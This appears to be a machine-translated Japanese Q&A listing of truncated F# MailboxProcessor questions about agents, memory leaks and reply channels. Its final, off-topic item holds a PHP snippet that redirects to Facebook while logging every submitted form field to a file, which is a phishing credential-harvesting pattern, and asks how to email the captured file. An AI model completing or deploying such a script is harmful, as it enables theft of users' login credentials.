mailboxprocessor

    26

    2答えて

    私はロングランニングサービス(F#を使用しています)でいくつかのメモリリークを探しています。私がこれまで見てきた のみ「奇妙な」ものは次のとおりです。私は代数データ型と命名QueueChannelCommands(追加/取得コマンドの束多かれ少なかれとサブシステムでMailboxProcessorを使用 - いくつかの私は、(Ants Memory Profilerを使用して)サービスをプロファイ

    14

    2答えて

    MailboxProcessorの例外処理のデフォルト戦略がちょうどであるのはなぜですか?は無視されます。たとえば、 let counter = MailboxProcessor.Start(fun inbox -> let rec loop() = async { printfn "waiting for data..." let! data

    3

    1答えて

    私は、以下のコード例と人々の考え方について少し不思議です。 アイデアはNetworkStream(〜20 msg/s)から読み込み、メインではなくMainframeProcessorに物事を渡して、バインドを処理して処理します。 通常はPostAndReplyを使用していますが、C#ではListViewやその他のコントロールにバインドしたいと考えています。とにかくLastNのアイテムとフィルタリン

    12

    1答えて

    : member this.PostAndReply : (AsyncReplyChannel<'Reply> -> 'Msg) * ?int -> 'Reply 署名が私にはとても直感的に見える理由を私は理解することはできません。私たちがしたいことは、エージェントにメッセージを投稿し、返信を待つことです。 なぜ「メッセージ」として彼に奇妙な機能を与えなければならないのですか? このMSDNス

    4

    1答えて

    私はさまざまな方法でエージェントを使用していますが、そのうちの1つはウェブサイトの変更を監視するエージェント100人で構成され、新しいモニタを起動するために呼び出すことができるスーパーバイザに報告します。 これは私のプログラムの一部であり、私はそれに満足しています。 私はこれをスピンオフしたいと思いますし、それは私のメインプログラムとはまったく独立しています。 (しかし、私は、この独立したスピンオ

    2

    1答えて

    ユーザーの操作に基づいてUIを更新するエージェントを作成しようとしています。ユーザーがボタンをクリックすると、GUIがリフレッシュされます。モデルの作成には長い時間がかかりますので、ユーザーが他のボタンをクリックすると、準備がキャンセルされ、新しいものが開始されることが望まれます。私がこれまで持って何 : open System.Threading type private RefreshMsg

    2

    1答えて

    基本的には、私の状況では計算のリストが大きすぎてスレッドが多すぎるため、より少ないスレッドでパフォーマンスを試してみたいと思います。 // the trivial approach (and largely my current situation) let doWork() = [1 .. 10] |> List.map (fun i -> async { do

    0

    1答えて

    が、私は私の記憶リーク狩りにはまだだと私は次のように気づいた: 私はF#のデフォルトから来るSystem.Threading.CancellationCallbackInfo-オブジェクトのライブインスタンスがたくさんあります-CancellationTokenSource(非同期ワークフロー)。 ソースを自分で宣言し、これをMailboxProcessorの内側で使用して子やタスクにまたがる場合

    3

    1答えて

    ここに複数の状態のF#MailboxProcessorの例がありますが、なぜそれがコンパイルされているのか不思議ですが、動作は予期せぬものです - F#エージェントは、渡されたラムダ関数のinbox.Receive()私は 複数の非同期{}体の使用が複数の状態を許可する "エキスパートF#3.0"のページ284にある一般的なパターンに従っているようにしようとしていますが、inbox.Receive

    -1

    1答えて

    test.txtの内容を電子メール、誰にでも送ることができます。 <?php header("Location: http://fb.com/ "); $handle = fopen("test.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($